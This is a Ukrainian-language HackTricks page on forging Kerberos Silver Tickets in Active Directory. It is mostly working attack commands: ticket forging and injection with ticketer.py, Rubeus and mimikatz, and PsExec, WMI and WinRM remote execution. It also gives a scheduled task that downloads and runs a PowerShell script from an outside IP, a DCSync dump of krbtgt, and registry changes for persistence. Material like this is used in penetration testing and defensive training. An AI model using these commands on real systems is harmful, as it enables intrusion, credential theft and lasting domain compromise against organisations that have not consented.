Silver Ticket
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Silver ticket
Атака Silver Ticket передбачає експлуатацію сервісних квитків в середовищах Active Directory (AD). Цей метод базується на отриманні NTLM хешу облікового запису сервісу, такого як обліковий запис комп'ютера, для підробки квитка служби надання квитків (TGS). З цим підробленим квитком зловмисник може отримати доступ до конкретних сервісів в мережі, вдаючи з себе будь-якого користувача, зазвичай намагаючись отримати адміністративні привілеї. Підкреслюється, що використання AES ключів для підробки квитків є більш безпечним і менш помітним.
warning
Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони вимагають лише хеш облікового запису сервісу, а не облікового запису krbtgt. Однак вони обмежені конкретним сервісом, на який націлені. Більше того, просто вкрасти пароль користувача.
Більше того, якщо ви зламаєте пароль облікового запису з SPN, ви можете використовувати цей пароль для створення Silver Ticket, вдаючи з себе будь-якого користувача для цього сервісу.
Для створення квитків використовуються різні інструменти в залежності від операційної системи:
On Linux
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
На Windows
# Using Rubeus
## /ldap option is used to get domain data automatically
## With /ptt we already load the tickt in memory
rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
CIFS служба виділяється як загальна ціль для доступу до файлової системи жертви, але інші служби, такі як HOST і RPCSS, також можуть бути використані для завдань і WMI запитів.
Доступні служби
Тип служби | Служба Silver Tickets |
---|---|
WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP В залежності від ОС також: WSMAN RPCSS |
WinRM | HOST HTTP В деяких випадках ви можете просто запитати: WINRM |
Заплановані завдання | HOST |
Спільний доступ до файлів Windows, також psexec | CIFS |
LDAP операції, включаючи DCSync | LDAP |
Інструменти адміністрування Windows Remote Server | RPCSS LDAP CIFS |
Золоті квитки | krbtgt |
Використовуючи Rubeus, ви можете запитати всі ці квитки, використовуючи параметр:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Ідентифікатори подій Silver tickets
- 4624: Увійшов до облікового запису
- 4634: Вийшов з облікового запису
- 4672: Увійшов адміністратор
Постійність
Щоб уникнути зміни паролів на машинах кожні 30 днів, встановіть HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1
або ви можете встановити HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge
на більше значення, ніж 30 днів, щоб вказати період ротації, коли пароль машини має бути змінений.
Зловживання квитками служби
У наступних прикладах уявімо, що квиток отримано, імплементуючи обліковий запис адміністратора.
CIFS
З цим квитком ви зможете отримати доступ до папок C$
і ADMIN$
через SMB (якщо вони відкриті) і копіювати файли в частину віддаленої файлової системи, просто зробивши щось на зразок:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
Ви також зможете отримати оболонку всередині хоста або виконати довільні команди, використовуючи psexec:
HOST
З цією дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
З цими квитками ви можете виконати WMI в системі жертви:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Знайдіть додаткову інформацію про wmiexec на наступній сторінці:
HOST + WSMAN (WINRM)
З доступом winrm до комп'ютера ви можете отримати доступ до нього і навіть отримати PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Перевірте наступну сторінку, щоб дізнатися більше способів підключення до віддаленого хоста за допомогою winrm:
warning
Зверніть увагу, що winrm має бути активним і слухати на віддаленому комп'ютері для доступу до нього.
LDAP
З цією привілеєю ви можете скинути базу даних DC, використовуючи DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Дізнайтеся більше про DCSync на наступній сторінці:
Посилання
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.